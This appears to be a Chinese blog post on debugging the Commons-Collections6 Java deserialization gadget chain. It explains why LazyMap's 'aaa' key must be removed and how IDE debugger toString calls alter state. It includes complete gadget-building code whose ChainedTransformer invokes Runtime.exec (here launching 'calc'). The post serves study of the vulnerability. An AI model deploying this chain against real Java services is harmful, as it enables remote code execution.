少女祈祷中...

幽默的Commons-Collections6调试

事情是在考完期中之后,同学在调式cc6链的时候发现了奇怪问题。

(下面写的过于详细了。。。)

问题发现

(在尝试找出cc6中 为什么LazyMap 最后要使用remove的时候)

就是lazyMap中放的是空的HashMap
之前代码并没有向hashMap中写入任何东西,为什么在这里却必须要remove掉’aaa’才能触发链子呢

于是调试

在创建TiedMapEntry的地方打上断点,跟进

赋值完map的时候还算是正常
可是到下一步

参数map的size大小怎么突然由1变成2了?又没有对map进行任何操作
这里LazyMap为什么多了且是什么时候多了一个键值对的?

难道后面remove移除的键值对是这个时候添加上去的吗?

上面发现这个问题的时候,我去翻了翻以前的笔记:

当时其实也是没搞懂,就描述了情况,并没有想明白
(好像也是在网上没找到提到过的文章)

问题调试

可能对于刚学java反序列化漏洞不久的来说,可能对这种情况就毫无头绪
但凭着我对Rome链的学习,得知可能是调试器的问题

于是调整代码,写入求LazyMap的大小

package com.yyjccc.CommonsExp;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Cc6 {
public static Object cc6() throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap= new HashMap<>();
Map<Object,Object> lazyMap= LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"aaa");
System.out.println(lazyMap.size());
HashMap<Object,Object> map2=new HashMap();
map2.put(tiedMapEntry,"sss");
System.out.println(lazyMap.size());
lazyMap.remove("aaa");
System.out.println(lazyMap.size());
Class c=lazyMap.getClass();
Field factory=c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);
return map2;
}
}

直接运行

那说明,运行的时候并不是我们刚才那个地方写入的LazyMap的
而是在后面Hashmap put的时候插入的

那我们上面调式的现象又是怎么回事
然后,调试到那个方法(构造方法)

还是size还是2
运行完:

直接突然说wc,启动调试结果与直接运行结果不一样(:

根据我之前的经验,这里应该就是调试器的问题,调试器展示对象视图的时候会自动调用对应的toString方法(我猜测就是这个问题)

问题所在

真正的写入LazyMap键值对

运行的时候可以定位到

众所周知,HashMap的put方法会调用key的hashCode方法
所以会调用TiedMapEntry#hashCode方法

然后是getValue方法

应为这里的map是LazyMap,
看看LazMap#get

应为是map是之前没有赋值的HashMap ,所以一定是走的if里面,这个时候就会把key(‘aaa’) ,value(之前LazyMap中的factoty.transform()) 写入HashMap

也就是这个时候向LazyMap写入了 ‘aaa’-> … (LazyMap有这个设定…没有就写入。。。)

所以若没有remove掉的话,会在反序列化的时候触发最外层HashMap key的hashCode方法就会走到这里。如果map有这个key,就不会走if里面就不会调用transform方法了

总之是在hashmap.put方法将

调式时候突然的写入

直接看TiedMapEntry#toString

这里也会调用getValue与hashCode方法效果一样,
LazyMap中没有key,就写入(…)
导致会误以为是在构造方法里面就完成的写入

调试器自动调用toString,所以调式那个方法的时候结果就会改变
(idea的抽象)

问题解决

设置->调式器-> 数据视图-> Java 中关闭上面两项设置